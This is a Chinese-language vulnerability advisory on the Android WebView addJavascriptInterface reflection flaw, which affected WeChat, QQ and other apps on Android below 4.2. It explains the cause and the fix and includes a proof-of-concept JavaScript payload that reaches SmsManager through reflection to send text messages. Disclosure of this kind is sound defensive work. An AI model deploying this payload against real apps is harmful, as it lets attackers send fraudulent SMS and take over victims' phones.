一、漏洞描述
近期,微信等多款安卓流行應用曝出高危掛馬漏洞:只要點擊好友消息或朋友圈中的一條網址,手機就會自動執行黑客指令,出現被安裝惡意扣費軟件、向好友發送欺詐短信、通訊錄和短信被竊取等嚴重後果。在烏雲漏洞平台上,包括安卓版微信、QQ、騰訊微博、QQ浏覽器、快播、百度浏覽器、金山浏覽器等大批應用均被曝光同類型漏洞。
二、影響版本
Android系統版本低於4.2
三、漏洞原理
漏洞點:WebView.addJavascriptInterface(Object obj, String interfaceName) ;
漏洞觸發條件:
1、使用WebView.addJavascriptInterface方法注冊可供javascript調用的java對象。
2、使用WebView加載外部網頁。
3、Android系統版本低於4.2
漏洞原因:
Android系統通過WebView.addJavascriptInterface方法注冊可供javascript調用的java對象,以用於增強javascript的功能。但是系統並沒有對注冊JAVA類的方法調用的限制。導致攻擊者可以利用反射機制調用未注冊的其它任何JAVA類,最終導致javascript能力的無限增強。攻擊者利用該漏洞可以根據客戶端能力為所欲為。
四、POC代碼
我們利用該漏洞調用SmsManager發送短信(被攻擊APK要有短信發送權限)
WebView webview = new WebView(context);
WebSettings webset= webview.getSettings();
webset.setJavaScriptEnabled(true);
webview.addJavascriptInterface(new JSInvoke(), "jsinvoke");
利用該漏洞的外部javascript腳本:
<script>
var obj_smsManager = jsinvoke.getClass().forName("android.telephony.SmsManager").getMethod("getDefault",null).invoke(null,null);
obj_smsManager.sendTextMessage("159********",null,"test",null,null);
</script>
出於安全考慮,為了防止Java層的函數被隨便調用,Google在4.2版本之後,規定允許被調用的函數必須以@JavascriptInterface進行注解,所以如果某應用依賴的API Level為17或者以上,就不會受該問題的影響(注:Android 4.2中API Level小於17的應用也會受影響)。在各應用廠商修復該問題期間,我們建議用戶暫時使用系統自帶的浏覽器訪問網頁,並且不要訪問社交應用中陌生人發來的鏈接。